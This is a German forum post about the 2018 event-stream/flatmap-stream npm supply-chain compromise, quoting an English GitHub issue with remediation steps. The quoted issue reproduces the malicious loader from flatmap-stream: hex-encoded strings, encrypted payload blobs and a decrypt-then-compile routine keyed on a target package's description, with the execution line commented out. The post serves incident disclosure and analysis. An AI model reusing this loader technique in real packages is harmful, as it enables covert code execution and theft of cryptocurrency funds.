xaver
December 1, 2018, 12:02am
1
Hallo,
Meshviewer nutzt Gulp und dieses arbeitet mit Streams zum verarbeiten von Daten. In einem Paket (event-stream) hat irgendwann der Entwickler gewechselt und hat wiederum ein Paket ( flatmap-stream) eingebunden das scheinbar irgendwas mit Bitcoin gemacht.
Ganze hat nichts mit dem Meshviewer Source-code zu tun, sondern nur Gulp während des Build Prozesses oder serve. Paket wurde schon entfernt und baut maximal noch aus dem Cache. Daher werden ältere Stände nicht gebaut werden können.
THX geht an @skorpy - hat es im IRC mitgeteilt und nach einem Dependency update war das Paket weg
Source
offen 09:26PM - 20 Nov 18 UTC
geschlossen 08:22PM - 26 Nov 18 UTC
**EDIT 26/11/2018**:
* **Am I affected?**:
If you are using anything crypto… -currency related, then maybe. As discovered by @maths22, the target seems to have been identified as copay related libraries. It only executes successfully when a matching package is in use (assumed to be copay at this point). If you are using a crypto-currency related library and if you see `flatmap-stream@0.1.1` after running `npm ls event-stream flatmap-stream`, you are most likely affected. For example:
```
$ npm ls event-stream flatmap-stream
...
flatmap-stream@0.1.1
...
```
* **What does it do**:
Other users have done some good analysis of what these payloads actually do.
* https://github.com/dominictarr/event-stream/issues/116#issuecomment-441759047
* https://github.com/dominictarr/event-stream/issues/116#issuecomment-441746370
* https://github.com/dominictarr/event-stream/issues/116#issuecomment-441749105
* **What can I do**:
By this time fixes are being deployed and npm has yanked the malicious version. Ensure that the developer(s) of the package you are using are aware of this post. If you are a developer update your event-stream dependency to `event-stream@3.3.4`. **This protects people with cached versions of event-stream**.
___
@dominictarr Why was @right9ctrl given access to this repo? He added [flatmap-stream](https://github.com/hugeglass/flatmap-stream) which is entirely (1 commit to the repo but has 3 versions, the latest one removes the injection, unmaintained, created 3 months ago) an injection targeting [ps-tree](https://github.com/indexzero/ps-tree). After he adds it at almost the exact same time the injection is added to `flatmap-stream`, he bumps the version and publishes. Literally the second commit (3 days later) after that he removes the injection and bumps a major version so he can clear the repo of having `flatmap-stream` but still have everyone (millions of weekly installs) using 3.x affected.
@right9ctrl If you removed flatmap-stream because your realized it was an injection attack why didn't you yank `event-stream@3.3.6` from npm and put a PSA? If you didn't know, why did you choose to use a completely unused/unknown library (0 downloads on npm until you use it)? If I had the exact date from npm in which `flatmap-stream@0.1.1` was published I wouldn't be asking you questions.
I've included a break down of what I have so far on `flatmap-stream` below. It includes the portion of code not found in the **unminified** source of `flatmap-stream@0.1.1` but found in the **minified** source. The code has been cleaned up a little to get a better understanding.
The worst part is I still don't even know what this does... The decrypted data n[0] is byte code or something, not regular javascript, or maybe I'm just not handling it correctly.
```js
// var r = require, t = process;
// function e(r) {
// return Buffer.from(r, "hex").toString()
// }
function decode(data) {
return Buffer.from(data, "hex").toString()
}
// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
// o = t[e(n[3])][e(n[4])];
// npm_package_description = process[decode(n[3])][decode(n[4])];
// npm_package_description = process['env']['npm_package_description'];
npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key)
// if (!o) return;
if (!npm_package_description) return;
// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),
// a = u.update(n[0], e(n[8]), e(n[9]));
// decoded = decipher.update(n[0], e(n[8]), e(n[9]));
decoded = decipher.update(n[0], 'hex', 'utf8');
console.log(n); // IDK why this is here...
// a += u.final(e(n[9]));
decoded += decipher.final('utf8');
// var f = new module.constructor;
var newModule = new module.constructor;
/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
// newModule.paths = module.paths
// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])
```
Viele Gruesse